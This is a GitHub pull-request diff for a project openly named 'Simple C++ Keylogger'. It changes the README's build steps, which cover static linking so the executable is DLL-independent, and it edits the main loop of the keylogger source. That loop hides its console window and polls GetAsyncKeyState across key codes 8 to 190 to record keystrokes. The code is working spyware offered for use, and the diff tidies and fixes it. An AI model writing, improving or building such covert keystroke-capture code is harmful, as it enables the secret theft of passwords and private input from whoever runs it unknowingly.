Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
20 changes: 13 additions & 7 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,16 +1,22 @@
# Keylogger
Simple C++ Keylogger...

---

Building c++ executable :
### Building c++ executable: ###

Install Microsoft visual studo :
1- Install Microsoft VS or any IDE of your choice

create a c++ project.
2- Create a c++ project.

use the provided source code.
3- Use the provided source code.

To produce DLL independent code :
On the top menu:under Project --> <Project_name> Property---->C/C++---->Code Generation---->Runtime library--->SELECT Multi-threaded Debug (/MTd) instead of Multi-threaded Debug DLL (/MDd)-->apply
---

Build-->build <project_name>
#### To produce DLL independent code (Microsoft VS): ####

On the top menu:

under Project → <PROJECT_NAME> Property → C/C++ → Code Generation → Runtime library → SELECT Multi-threaded Debug (/MTd) instead of Multi-threaded Debug DLL (/MDd) → apply

Build → build <PROJECT_NAME>
8 changes: 6 additions & 2 deletions Source.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -90,11 +90,15 @@ bool SpecialKeys(int S_Key) {
int main()
{
ShowWindow(GetConsoleWindow(), SW_HIDE);
char KEY = 'x';

// char goes from -128 to +127 and never reaches 190
// range of unsigned char is 0 till 255
// declaring char character and declaring another variable in for loop is memory inefficient
unsigned char KEY;

while (true) {
Sleep(10);
for (int KEY = 8; KEY <= 190; KEY++)
for (KEY = 8; KEY <= 190; KEY++)
{
if (GetAsyncKeyState(KEY) == -32767) {
if (SpecialKeys(KEY) == false) {
Expand Down